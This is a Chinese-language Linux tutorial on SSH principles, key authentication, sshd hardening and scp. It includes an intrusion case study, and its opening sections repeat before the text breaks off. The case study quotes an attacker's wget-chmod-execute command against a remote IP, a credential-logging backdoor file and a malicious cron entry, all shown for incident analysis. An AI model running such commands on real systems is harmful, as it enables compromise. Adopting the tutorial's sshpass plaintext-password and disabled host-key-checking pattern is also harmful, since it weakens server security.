1. 程式人生 > >Linux實戰教學筆記24:SSH連線原理及ssh-key

Linux實戰教學筆記24:SSH連線原理及ssh-key

目錄

第二十四節 SSH連線原理及ssh-key講解

標籤(空格分隔): Linux實戰教學筆記-陳思齊

---本教學筆記是本人學習和工作生涯中的摘記整理而成,此為初稿(尚有諸多不完善之處),為原創作品,允許轉載,轉載時請務必以超連結形式標明文章原始出處,作者資訊和本宣告。否則將追究法律責任。http://www.cnblogs.com/chensiqiqi/



第1章 SSH服務

1.1 ssh介紹

  • SSH是Secure Shell Protocol的簡寫,由IETF網路工作小組(Network Working Group)制定:在進行資料傳輸之前,SSH先對聯機資料包通過加密技術進行加密處理,加密後在進行資料傳輸。確保了傳遞的資料安全。
  • SSH是專為遠端登入會話和其他網路服務提供的安全性協議。利用SSH協議可以有效的防止遠端管理過程中的資訊洩露問題,在當前的生產環境運維工作中,絕大多數企業普通採用SSH協議服務來代替傳統的不安全的遠端聯機服務軟體,如telnet(23埠,非加密的)等。
  • 在預設狀態下,SSH服務主要提供兩個服務功能:一個是提供類似telnet遠端聯機伺服器的服務,即上面提到的SSH服務;另一個是類似FTP服務的sftp-server,藉助SSH協議來傳輸資料的,提供更安全的SFTP服務(vsftp.proftp)

特別提醒:SSH客戶端(ssh命令)還包含一個很有用的遠端安全拷貝命令scp,也是通過ssh協議工作的。

telnet是不安全的遠端連線,連線內容是明文的;
ssh是加密的遠端連線,連線內容是加密的。

1.2 知識小結

1)SSH是安全的加密協議,用於遠端連線Linux伺服器。
2)SSH預設埠是22,安全協議版本SSH2,除了2之外還有SSH1(有漏洞).
3)SSH服務端主要包含兩個服務功能SSH遠端連線和SFTP服務。
4)Linux SSH 客戶端包含ssh遠端連線命令,以及遠端拷貝scp命令等。

第2章 ssh結構

SSH服務由服務端軟體OpenSSH(openssl)和客戶端(常見的有SSH),SecureCRT,Putty,xshell組成,SSH服務預設使用22埠提供服務,它有兩個不相容的SSH協議版本,分別是1.x和2.x

下面我們看下服務端上的ssh相關軟體。

[[email protected] data]# rpm -qa | egrep "openss*"
openssh-server-5.3p1-117.el6.x86_64
libreoffice-opensymbol-fonts-4.3.7.2-2.el6.noarch
openssh-5.3p1-117.el6.x86_64
openssh-clients-5.3p1-117.el6.x86_64
openssl-1.0.1e-48.el6.x86_64
openssh-askpass-5.3p1-117.el6.x86_64
  • OpenSSH同時支援SSH1.x和2.x。用SSH 2.x的客戶端程式不能連線到SSH 1.x的服務程式上。
  • SSH服務端是一個守護程序(daemon),它在後臺執行並響應來自客戶端的連線請求。SSH服務端的程序名為sshd,負責實時監聽遠端SSH客戶端的連線請求,並進行處理,一般包括公共金鑰認證,金鑰交換,對稱金鑰加密和非安全連線等。這個SSH服務就是我們前面基礎系統優化中保留開機自啟動的服務之一。
  • ssh客戶端包含ssh以及像scp(遠端拷貝),slogin(遠端登入),sftp(安全FTP檔案傳輸)等應用程式。
  • ssh的工作機制大致是本地的ssh客戶端先發送一個連線請求到遠端的ssh服務端,服務端檢查連線的客戶端傳送的資料包和IP地址,如果確認合法,就會發送金鑰發回給服務端,自此連線建立。

2.1 SSH加密技術

OpenSSH是SSH服務端的軟體之一,可同時支援SSH1和SSH2協議,可以在配置檔案中使用Protocol指令指定只支援其中一種或兩種都支援。
SSH2同時支援RSA和DSA金鑰,但是SSH1僅支援RSA金鑰。

SSH 1.x的加密連線過程:
1)當SSH服務啟動時,就會產生一個768bit的臨時公鑰(sshd_config配置檔案中 ServerKeyBits 768)存放在Server中。

[[email protected] data]# grep ServerKey /etc/ssh/sshd_config 
#ServerKeyBits 1024

2)當Client端SSH聯機請求傳送過來時,Server就會將這個768-bit的公鑰傳給Client端,此時Client會將此公鑰與先前儲存的公鑰進行對比,看是否一致。判斷標準是Client端聯機使用者目錄下~/.ssh/known_hosts檔案的內容.

[[email protected] data]# ssh [email protected]
The authenticity of host 'backup (172.16.1.41)' can't be established.
RSA key fingerprint is e4:20:6b:ec:b8:16:09:e5:00:5c:52:95:9f:a5:4a:06.
Are you sure you want to continue connecting (yes/no)? 

3)當客戶端發完以後,Server與Client端在這次的聯機中,就以這一對1024-bit的Key pair來進行資料的傳遞。

SSH 2.x的加密連線過程

  • 在SSH 1.x的聯機過程中,當Server接受Client端的Private Key後,就不再針對該次聯機的Key pair進行檢驗。此時若有惡意黑客針對該聯機的Key pair對插入惡意的程式程式碼時,由於服務端你不會再檢驗聯機的正確性,因此可能會接收該程式程式碼,從而造成系統被黑掉的問題。
  • 為了改正這個缺點,SSH version 2 多加了一個確認聯機正確性的Diffie-Hellman機制,在每次資料傳輸中,Server都會以該機制檢查資料的來源是否正確,這樣,可以避免聯機過程中被插入惡意程式程式碼的問題。也就是說,SSH version 2 是比較安全的。
  • 由於SSH1協議本身存在較大安全問題,因此,建議大家儘量都用SSH2的聯機模式。而聯機版本的設定則需要在SSH主機端與客戶端均設定好才行。

第3章 ssh服務認證型別

從SSH客戶端來看,SSH服務主要提供兩種級別的安全驗證,具體級別如下:

3.1 基於口令的安全驗證:

基於口令的安全驗證的方式就是大家現在一直在用的,只要知道伺服器的SSH連線賬號和口令(當然也要知道對應伺服器的IP及開放的SSH埠,預設為22),就可以通過ssh客戶端登入到這臺遠端主機。此時,聯機過程中所有傳輸的資料都是加密的。

[root@nfs01 data]# ssh -p 22 root@backup
root@backup's password:   #要求輸入登入密碼
Last login: Sat Mar 11 14:00:15 2017 from nfs01
[root@backup ~]# 

3.2 基於金鑰的安全驗證:

  • 基於金鑰的安全驗證方式是指,需要依靠金鑰,也就是必須事先建立一對金鑰對,然後把公用金鑰(Public key)放在需要訪問的目標伺服器上,另外,還需要把私有金鑰(Private key)放到SSH的客戶端或對應的客戶端伺服器上。
  • 此時,如果要想連線到這個帶有公用金鑰的SSH伺服器,客戶端SSH軟體或客戶端伺服器就會向SSH伺服器發出請求,請求用聯機的使用者金鑰進行安全驗證。SSH伺服器收到請求之後,會先在該SSH伺服器上連線的使用者的家目錄下尋找事先放上去的對應使用者的公用金鑰,然後把它和連線的SSH客戶端傳送過來的公用金鑰進行比較。如果兩個金鑰一致,SSH伺服器就用公用金鑰加密“質詢”並把它傳送給SSH客戶端。
  • SSH客戶端收到“質詢”之後就可以用自己的私鑰解密,再把它傳送給SSH伺服器。使用這種方式,需要知道聯機使用者的金鑰檔案。與第一種基於口令驗證的方式相比,第二種方式不需要在網路上傳送口令密碼,所以安全性更高了,這時我們也要注意保護我們的金鑰檔案,特別是私鑰檔案,一旦被黑客獲取,危險就很大了。
  • 基於金鑰的安全認證也有windows客戶端和linux客戶端的區別。在這裡我們主要介紹的是linux客戶端和linux服務端之間的金鑰認證。

3.2.1 客戶端建立金鑰

[[email protected] ~]# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):    #這是讓你輸入檔名
Enter passphrase (empty for no passphrase):   #這裡讓你輸入金鑰對的驗證密碼(和linux角色密碼沒有關係)
Enter same passphrase again:      #讓你再次輸入密碼
Your identification has been saved in 
Your public key has been saved in 
The key fingerprint is:
53:76:60:0d:93:2d:12:e2:8e:fa:a0:b0:08:4a:cd:6d [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
|      . ..==     |
|     . ...ooo    |
|      .  .o..    |
|     o   o .     |
|    . . S        |
|  o..    .       |
|o.oo E           |
|*o o.            |
|=   .            |
+-----------------+
[[email protected] ~]# ls .ssh/
authorized_keys  id_rsa  id_rsa.pub  known_hosts


#命令說明:
1)建立金鑰對時,要你輸入的密碼,為進行金鑰對驗證時輸入的密碼(和linux角色登入的密碼完全沒有關係);
2)如果我們要進行的是SSH免密碼連線,那麼這裡密碼為空跳過即可。
3)如果在這裡你輸入了密碼,那麼進行SSH金鑰對匹配連線的時候,就需要輸入這個密碼了。(此密碼為獨立密碼)
4)使用者家目錄下的.ssh隱藏目錄下會生成:id_rsa  id_rsa.pub  兩個檔案。id_rsa是使用者的私鑰;id_rsa.pub則是公鑰

3.2.2 將公鑰id_rsa.pub檔案複製到另外一臺伺服器的使用者家目錄下的.ssh目錄下

[[email protected] ~]# ls .ssh/
authorized_keys  id_rsa  id_rsa.pub  known_hosts
[[email protected] ~]# scp ~/.ssh/id_rsa.pub [email protected]:~/.ssh/
The authenticity of host '172.16.1.31 (172.16.1.31)' can't be established.
RSA key fingerprint is e4:20:6b:ec:b8:16:09:e5:00:5c:52:95:9f:a5:4a:06.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.1.31' (RSA) to the list of known hosts.
[email protected]172.16.1.31's password: 
id_rsa.pub                                    100%  390     0.4KB/s   00:00  

提示:
~代表使用者的家目錄路徑

3.2.3 將拷貝過去的id_rsa.pub檔案裡的內容追加到~/.ssh/authorized_keys檔案裡

[[email protected] data]# ls ~/.ssh/
authorized_keys  id_rsa.pub  known_hosts
[[email protected] data]# cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys 

3.2.4 此時我們回到第一臺伺服器進行遠端SSH連線

[[email protected] ~]# ssh [email protected]
Last login: Mon Mar 13 10:45:00 2017 from 172.16.1.1
[[email protected] ~]#    #無密碼登入成功

3.2.5 SSH基於金鑰的安全認證總結

1)如果我們要進行免密碼的SSH連線,那麼在建立金鑰對的時候不輸入任何密碼就可以了。
2)SSH基於金鑰的安全認證的本質其實就是將金鑰對中的公鑰裡的內容拷貝到對方伺服器的使用者家目錄下的.ssh目錄裡的authorized_keys檔案裡。
3)你想要和對方伺服器的哪個使用者進行金鑰對認證,那麼你就要把公鑰拷到對方該使用者的家目錄下的.ssh目錄裡的authorized_keys檔案裡(如果是想和普通使用者進行金鑰對登入,需要拷貝到/home目錄下的該使用者家目錄下。)
4)ssh-keygen -t引數可以指定金鑰對的加密型別。如果不指定預設rsa加密

3.2.6 非互動式一條命令建立金鑰對

[[email protected] ~]# ssh-keygen -t dsa -f ~/.ssh/id_dsa -P ""
Generating public/private dsa key pair.
Your identification has been saved in /root/.ssh/id_dsa.
Your public key has been saved in /root/.ssh/id_dsa.pub.
The key fingerprint is:
5c:02:af:64:9b:83:28:a8:25:ef:57:63:d9:65:b9:6a [email protected]
The key's randomart image is:
+--[ DSA 1024]----+
|      .          |
|       o         |
|      o o ..     |
|.  . + = o+      |
|+ o . =oSo .     |
|.=    =.. .      |
|. .  o . .       |
| .  .   E        |
|  ..   .         |
+-----------------+
[[email protected] ~]# ll ~/.ssh/
總用量 24
-rw-------. 1 root root  400 313 14:48 authorized_keys
-rw-------. 1 root root  668 313 17:31 id_dsa
-rw-r--r--. 1 root root  598 313 17:31 id_dsa.pub
-rw-r--r--. 1 root root  786 313 15:26 known_hosts
[[email protected] ~]# 

命令說明:
ssh-keygen:建立金鑰對命令
-t:指定加密型別(rsa,dsa)
-f:指定金鑰對檔案的名字
-P(大寫):指定密碼

3.2.7 通過ssh-copy-id進行公鑰的自動分發。

[[email protected] ~]# ssh [email protected]
[email protected]'s password:     #需要輸入密碼
Last login: Sat Mar 11 15:27:22 2017 from 172.16.1.1
[[email protected] ~]# ls ~/.ssh/    #檢視一下本地金鑰對
authorized_keys  id_rsa  id_rsa.pub  known_hosts
[[email protected] ~]# ssh-copy-id -i ~/.ssh/id_rsa.pub [email protected] #將本地公鑰拷貝到172.16.1.41伺服器的root目錄下
The authenticity of host '172.16.1.41 (172.16.1.41)' can't be established.
RSA key fingerprint is e4:20:6b:ec:b8:16:09:e5:00:5c:52:95:9f:a5:4a:06.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.1.41' (RSA) to the list of known hosts.
[email protected]172.16.1.41's password: 
Now try logging into the machine, with "ssh '[email protected]'", and check in:

  .ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.

[[email protected] ~]# ssh [email protected]   #進行免密碼ssh登入測試
Last login: Sat Mar 11 15:27:44 2017 from nfs01
[[email protected] ~]# 

3.3 更改ssh預設登入配置

修改SSH服務的執行引數,是通過修改配置檔案/etc/ssh/sshd.config檔案來實現的。
一般來說SSH服務使用預設的配置已經能夠很好的工作了,如果對安全要求不高,僅僅提供SSH服務的情況,可以不需要修改任何配置。

[[email protected] ~]# awk '/^#Port/ || /#PermitRoot/||/PermitEmpty/||/UseDNS/||/^GSSAPIAuthentication/{print NR,$0}' /etc/ssh/sshd_config 
13 #Port 22     #ssh連線預設埠22
15 #ListenAddress 0.0.0.0   #設定sshd服務監聽的客戶端IP地址範圍
42 #PermitRootLogin yes   # 是否允許root使用者遠端登入
65 #PermitEmptyPasswords no  #是否允許空密碼
81 GSSAPIAuthentication yes  #
122 #UseDNS yes    #是否使用DNS

提示:
1)#號代表註釋,去掉#此條命令才算被啟用
2)一旦修改了Port,那麼ssh登入時就需要-p指定埠號,不然會登入失敗,ssh預設登入22埠
3)一旦修改了ListenAddress,監聽地址,那麼不再地址範圍內的所有客戶端將無法遠端連線伺服器。
4)一旦 PermitRootLogin no 被啟用,那麼root賬戶將不能夠進行ssh遠端登入。
5)一旦啟用了PermitEmptyPasswords yes,那麼所有無密碼的使用者也就可以遠端登入了,並且還是免密碼的方式。
6)UseDNS no :建議用no,不需要對DNS進行反向解析,可以加快ssh連線速度。
7)修改配置檔案後,需要重啟sshd服務才能生效

3.4 遠端連線ssh服務

3.4.1 Linux客戶端通過ssh連線

ssh基本語法使用

SSH -p22 [email protected] [命令]

#SSh連線遠端主機命令的基本語法:
# -p(小寫) 接埠,預設22埠時可省略-p22
# “@”:前邊為使用者名稱,如果用當前使用者連線,可以不指定使用者名稱
# “@”:後面為要連線的伺服器的IP

1,直接登入遠端主機的方法:

在未禁止root遠端登入及更改SSH埠前的登入方法為:
[[email protected] ~]# ssh -p22 [email protected]

如果埠已修改為特殊埠,那麼用上面的命令連線就會發生問題:

[[email protected] ~]# ssh -p22 root@10.0.0.142
ssh:connect to host 10.0.0.142 port 22:Connection refused  #提示拒絕連線

報錯字串對應的可能問題:
1,no route to host 可能為防火牆影響
2,Connection refused可能為防火牆
Connection refused 還可能是連線的對端服務沒開或者埠改變了。

3.4.2 SSH客戶端命令小結

1,切換到別的機器上ssh -p52113 [email protected]([[email protected]]hostname[command])

2,到其他機器執行命令(不會切到機器上)ssh -p 52113 [email protected] 命令(全路徑)

3,當第一次SSH連線的時候,本地會產生一個金鑰檔案~/.ssh/known_hosts(多個金鑰)

3.5 ssh客戶端附帶的遠端拷貝scp命令

scp基本語法:scp -secure copy
每次都是全量拷貝,增量拷貝用rsync

推:PUSH
scp -P22 -r -p /tmp/chensiqi [email protected]16.1.41:/tmp
拉:PULL
scp -P22 -rp [email protected]16.1.41:/tmp/chensiqi /opt/

scp為遠端拷貝檔案或目錄的命令

-P(大寫):接埠,預設22
-r:遞迴,表示拷貝目錄
-p:表示在拷貝前後保持檔案或目錄屬性
-l limit:限制速度

scp知識小結
1,scp是加密的遠端拷貝,而cp僅為本地拷貝
2,可以把資料從一臺機器推送到另一臺機器,也可以從其他伺服器把資料拉回到本地執行命令的伺服器
3,每次都是全量完整拷貝,因此,效率不高,適合第一次拷貝用,如果需要增量拷貝,用rsync

第4章 章節重點小結

1,ssh為加密的遠端連線協議。相關軟體有openssh,openssl
2,預設埠22
3,協議版本1.x和2.x,2.x更安全。瞭解SSH協議原理
4,ssh客戶端包含ssh,scp,sftp命令
5,ssh安全驗證方式:口令和金鑰,這兩種都是基於口令的,SSH金鑰登入的原理。
6,ssh服務安全優化,修改預設埠22,禁止root遠端連線,禁止dns,SSH只監聽內網IP
7,ssh金鑰對,公鑰在伺服器端,比如就是鎖頭,私鑰在客戶端。

第5章 企業案例:SSH入侵案例

通常伺服器安全問題在規模較小的公司常常被忽略,沒有負責安全的專員,尤其是遊戲行業,因為其普遍架構決定了遊戲服通常都是內網進行資料互動,一般埠不對外開放,也因此對安全問題不過於重視。接下來要說的,是一次真實的SSH入侵例項,由於運維人員的經驗缺乏以及安全意識的薄弱,從而沒有及時對已被侵入的伺服器做隔離處理,導致擴散到較多的伺服器。

一,事件回顧

這次的伺服器被入侵是一個典型的弱密碼導致的入侵事件,由於某人員的疏忽,在某臺伺服器上新建了test使用者,且使用同名的弱密碼,以便於除錯工作所需的指令碼工具,就在當天在做指令碼除錯的時候發現了某些異常的錯誤,使用root使用者無法ssh遠端登陸其他伺服器,同時scp命令出現異常無法使用,但其他伺服器可以使用scp將檔案拷貝到該伺服器,之後將問題反饋給運維人員,由我們運維進行排查。

二,排查過程

收到問題反饋,主要涉及ssh相關的問題後,我們運維對該伺服器進行排查,發現使用ssh -v中的openssl版本無法顯示,且輸出的幫助資訊與其他伺服器不一致,然後檢視ssh配置,發現配置檔案(ssh_config和sshd_config)檔案已更新,其內容被全部註釋,這時還沒有意識到被入侵,悲哀+1,起初以為同事對該伺服器做了升級了ssh版本,後來確認無升級之類的操作。

  • [x] (1):檢視ssh版本及相關資訊,openssl的版本顯示異常,與其他伺服器對比,幫助資訊顯示方式有多不同

正常伺服器的ssh -v

[[email protected] ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
usage: ssh [-1246AaCfgKkMNnqsTtVvXxYy] [-b bind_address] [-c cipher_spec]
           [-D [bind_address:]port] [-e escape_char] [-F configfile]
           [-I pkcs11] [-i identity_file]
           [-L [bind_address:]port:host:hostport]
           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]
           [-R [bind_address:]port:host:hostport] [-S ctl_path]
           [-W host:port] [-w local_tun[:remote_tun]]
           [[email protected]]hostname [command]

有問題伺服器的ssh -v

  • [x] (2):檢視ssh程序及其相關檔案,ssh和sshd程序檔案已更新,ssh_config和sshd_config配置檔案已更新,配置檔案內容全部註釋,ssh_host_key和ssh_host_key.pub為新增檔案,其他伺服器沒有這兩個檔案。

  • [x] (3):繼續排查,將一臺正確的配置檔案覆蓋至該伺服器,重啟ssh服務後,使用ssh命令發現無法識別該配置檔案中的引數(到這裡其實應該發現ssh程序檔案已被篡改,使用md5sum做比對即可)

  • [x] (4):由於其他工作事務需要及時處理,排查這個事情就被擱置了,直至之後的YY討論問題拿出來詢問了下大神,才意識到有被入侵的可能

  • [x] (5):詢問操作過該伺服器的同事,此前正在除錯指令碼工具,新增了test使用者,得知其密碼為test

  • [x] (6):進行深入排查,使用chkrootkit -q檢視Linux系統是否存在後門,發現有異常。協同之前操作test使用者的同事,查詢history命令記錄,發現一條可疑命令

$ su - test
$ history
    50 wget http://71.39.255.125/~ake/perf;chmod +x perf; ./perf #非同事操作的可疑命令
$ w  #並且無法檢視當前的登入使用者
$ cat /usr/include/netda.h  #找到一個使用者登入就記錄其密碼的檔案
+user: bin +password:worlddomination
+user: test +password:[email protected]#$ds
  • [x] (7):在另外一臺伺服器上,發現某賬號家目錄下有個dead.letter檔案,用於將獲取到的資訊(系統資訊,IP地址,賬號密碼等)傳送至指定的郵箱

  • [x] (8):又在另外一臺伺服器上部署了一套可疑的程式,估計是作為肉雞功能

$ sudo crontab -e
$ * * * * * /usr/include/statistics/update > /dev/null 2>&1
#原有的cron任務已被清空,僅有該條可疑任務
  • [x] (9):找到/usr/include/statistics為主程式的目錄,其中update為主程式,通過autorun指令碼進行部署,執行crond偽裝成crond服務,使原crond服務隱藏且無法啟動,將cron覆蓋至原有crontab檔案來每分鐘執行update二進位制程式,mech.pid記錄偽裝的crond程式的PID

三,清理工作

  • [x] 緊急修復清理

將準備好的正常的ssh相關檔案上傳至被入侵伺服器的/tmp目錄下

1)檢視並修改屬性

2)恢復ssh和sshd

3)刪除多餘的檔案以及恢復crond

  • [x] 後續安全工作

1)修改所有涉及的伺服器的賬戶密碼,之後其他使用同類密碼的伺服器也需改掉

2)配置防火牆策略,只允許公司外網IP可ssh訪問伺服器

3)對於被入侵過的伺服器系統後期逐步重做系統,避免存在未清理的後門

四,總結

此次的遭受攻擊,問題主要是運維安全意識較差,以及防火牆策略比較鬆散,為了便於遠端工作,像ssh埠未做限制,伺服器幾乎是裸奔的狀態。經過此番折騰,也對伺服器安全方面做了一次警示,需加強防禦工作,同時也瞭解到典型的ssh後門功能:其一是超級密碼隱身登陸;其二是記錄登陸的賬號密碼。後續還需制定一系列入侵檢測機制,以防再次出現入侵事故。

5.1 如何防止SSH登入入侵小結:

1,用金鑰登入,不用密碼登入
2,防火牆封閉SSH,指定源IP限制(區域網,信任公網)
3,開啟SSH只監聽本地內網IP(ListenAddress10.0.0.8)。
4,儘量不給伺服器外網IP

第6章 IT公司企業級批量分發管理

1,中小企業最基本實用的SSH HEY金鑰的方案(key+expect,指令碼+sudo,ssh key(金鑰認證)+ ansible)

2,入口網站PUPPET(複雜,太重)
3,趕集,小米,SALTSTACK批量管理(輕量)

6.1 SSH的批量分發管理

作業系統

[[email protected] ~]# cat /etc/redhat-release 
CentOS release 6.8 (Final)
[[email protected] ~]# uname -r
2.6.32-642.el6.x86_64

主機網路引數

主機名 網絡卡eth0 網絡卡eth1 用途
m01 10.0.0.61 172.16.1.61 中心批發伺服器
nfs01 10.0.0.31 172.16.1.31 接收節點伺服器
web01 10.0.0.8 172.16.1.8 接收節點伺服器
backup 10.0.0.41 172.16.1.41 備份伺服器

提示:
若無特殊說明,子網掩碼均為255.255.255.0,一個C類網段254臺機器規模

6.2 需求分析

要求所有伺服器在同一使用者chensiqi系統使用者下,實現A機器從本地分發資料到B,C機器上,發到B,C的過程中不需要系統提示輸入密碼驗證,當然,除了分發的功能,還可以批量檢視所有客戶機上的CPU,LOAD,MEM,系統版本資訊。
即實現從A伺服器釋出資料到B,C客戶端伺服器以及檢視資訊的免密碼登入驗證解決方案:分發資料流方向如下:

A ---->B
A ---->C
A ---->D

具體過程就參考專案實戰,這裡只介紹分發一臺伺服器的方法。

6.3 通過sshpass+ssh-kengen+ssh-copy-id進行免互動的SSH金鑰批量分發。

sshpass的安裝需要aliyun的epel.repo源
wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-6.repo
yum -y install sshpass

6.3.1 嘗試進行免交戶的ssh連線

我們已經學會面交戶生成金鑰對了;
通過sshpass我們還可以進行免互動的登入遠端主機;
但是要想進行批量分發,我們還需要解決一個問題,那就是當第一次進行ssh登入時,都會出現如下資訊

[[email protected] ~]# ssh [email protected]
The authenticity of host 'nfs01 (172.16.1.31)' can't be established.
RSA key fingerprint is e4:20:6b:ec:b8:16:09:e5:00:5c:52:95:9f:a5:4a:06.
Are you sure you want to continue connecting (yes/no)? 

說明;
第一次進行遠端登入,ssh會試圖把遠端主機的IP資訊儲存到~/.known_hosts檔案裡,所以,會問你yes或no。

yes和no也是互動輸入資訊的方式,這個我們怎麼解決呢?

[[email protected] ~]# ssh -o StrictHostKeyChecking=no [email protected]    #加入-o那個引數即可解決
Warning: Permanently added 'nfs01,172.16.1.31' (RSA) to the list of known hosts.
[email protected]'s password:

接下來我們可以進行免交戶的ssh連線了。

[[email protected] ~]# sshpass -p 登入密碼 ssh -o StrictHostKeyChecking=no [email protected]
Last login: Tue Mar 14 10:48:21 2017 from m01
[[email protected] ~]# 

命令說明:
sshpass是免交戶輸入密碼的工具
-p;指定登入密碼
-f:給出密碼檔案路徑

6.3.2 進行金鑰對的免互動式分發。

第一步:生成金鑰對

[[email protected] ~]# ssh-keygen -t dsa -P "" -f ~/.ssh/id_dsa
Generating public/private dsa key pair.
Your identification has been saved in /root/.ssh/id_dsa.
Your public key has been saved in /root/.ssh/id_dsa.pub.
The key fingerprint is:
60:55:4f:eb:d4:1b:42:44:06:4e:36:df:3e:eb:32:49 [email protected]
The key's randomart image is:
+--[ DSA 1024]----+
|        ..*+*    |
|       . + B +   |
|      o   . * +  |
|     . .   o o o |
|        S   . +  |
|            E  o |
|           . ..  |
|            +.   |
|             o.  |
+-----------------+

第二步:免互動分發公鑰

[[email protected] ~]# sshpass -p 密碼 ssh-copy-id -i ~/.ssh/id_dsa.pub "-o StrictHostKeyChecking=no 172.16.1.31"
Now try logging into the machine, with "ssh '-o StrictHostKeyChecking=no 172.16.1.31'", and check in:

  .ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.

命令說明:
sshpass -p 密碼:免交戶輸入密碼
ssh-copy-id -i:指定公鑰檔案路徑
-o StrictHostKeyChecking=no:不記錄對方主機資訊

第三步:驗證公鑰傳送結果

[[email protected] ~]# ssh [email protected]  #驗證成功
Last login: Tue Mar 14 11:42:28 2017 from m01
[[email protected] ~]# 

目錄

第二十四節 SSH連線原理及ssh-key講解

標籤(空格分隔): Linux實戰教學筆記-陳思齊

---本教學筆記是本人學習和工作生涯中的摘記整理而成,此為初稿(尚有諸多不完善之處),為原創作品,允許轉載,轉載時請務必以超連結形式標明文章原始出處,作者資訊和本宣告。否則將追究法律責任。http://www.cnblogs.com/chensiqiqi/



第1章 SSH服務

1.1 ssh介紹

  • SSH是Secure Shell Protocol的簡寫,由IETF網路工作小組(Network Working Group)制定:在進行資料傳輸之前,SSH先對聯機資料包通過加密技術進行加密處理,加密後在進行資料傳輸。確保了傳遞的資料安全。
  • SSH是專為遠端登入會話和其他網路服務提供的安全性協議。利用SSH協議可以有效的防止遠端管理過程中的資訊洩露問題,在當前的生產環境運維工作中,絕大多數企業普通採用SSH協議服務來代替傳統的不安全的遠端聯機服務軟體,如telnet(23埠,非加密的)等。
  • 在預設狀態下,SSH服務主要提供兩個服務功能:一個是提供類似telnet遠端聯機伺服器的服務,即上面提到的SSH服務;另一個是類似FTP服務的sftp-server,藉助SSH協議來傳輸資料的,提供更安全的SFTP服務(vsftp.proftp)

特別提醒:SSH客戶端(ssh命令)還包含一個很有用的遠端安全拷貝命令scp,也是通過ssh協議工作的。

telnet是不安全的遠端連線,連線內容是明文的;
ssh是加密的遠端連線,連線內容是加密的。

1.2 知識小結

1)SSH是安全的加密協議,用於遠端連線Linux伺服器。
2)SSH預設埠是22,安全協議版本SSH2,除了2之外還有SSH1(有漏洞).
3)SSH服務端主要包含兩個服務功能SSH遠端連線和SFTP服務。
4)Linux SSH 客戶端包含ssh遠端連線命令,以及遠端拷貝scp命令等。

第2章 ssh結構

SSH服務由服務端軟體OpenSSH(openssl)和客戶端(常見的有SSH),SecureCRT,Putty,xshell組成,SSH服務預設使用22埠提供服務,它有兩個不相容的SSH協議版本,分別是1.x和2.x

下面我們看下服務端上的ssh相關軟體。

[[email protected] data]# rpm -qa | egrep "openss*"
openssh-server-5.3p1-117.el6.x86_64
libreoffice-opensymbol-fonts-4.3.7.2-2.el6.noarch
openssh-5.3p1-117.el6.x86_64
openssh-clients-5.3p1-117.el6.x86_64
openssl-1.0.1e-48.el6.x86_64
openssh-askpass-5.3p1-117.el6.x86_64
  • OpenSSH同時支援SSH1.x和2.x。用SSH 2.x的客戶端程式不能連線到SSH 1.x的服務程式上。
  • SSH服務端是一個守護程序(daemon),它在後臺執行並響應來自客戶端的連線請求。SSH服務端的程序名為sshd,負責實時監聽遠端SSH客戶端的連線請求,並進行處理,一般包括公共金鑰認證,金鑰交換,對稱金鑰加密和非安全連線等。這個SSH服務就是我們前面基礎系統優化中保留開機自啟動的服務之一。
  • ssh客戶端包含ssh以及像scp(遠端拷貝),slogin(遠端登入),sftp(安全FTP檔案傳輸)等應用程式。
  • ssh的工作機制大致是本地的ssh客戶端先發送一個連線請求到遠端的ssh服務端,服務端檢查連線的客戶端傳送的資料包和IP地址,如果確認合法,就會發送金鑰發回給服務端,自此連線建立。

2.1 SSH加密技術

OpenSSH是SSH服務端的軟體之一,可同時支援SSH1和SSH2協議,可以在配置檔案中使用Protocol指令指定只支援其中一種或兩種都支援。
SSH2同時支援RSA和DSA金鑰,但是SSH1僅支援RSA金鑰。

SSH 1.x的加密連線過程:
1)當SSH服務啟動時,就會產生一個768bit的臨時公鑰(sshd_config配置檔案中 ServerKeyBits 768)存放在Server中。

[[email protected] data]# grep ServerKey /etc/ssh/sshd_config 
#ServerKeyBits 1024

2)當Client端SSH聯機請求傳送過來時,Server就會將這個768-bit的公鑰傳給Client端,此時Client會將此公鑰與先前儲存的公鑰進行對比,看是否一致。判斷標準是Client端聯機使用者目錄下~/.ssh/known_hosts檔案的內容.

[[email protected] data]# ssh [email protected]
The authenticity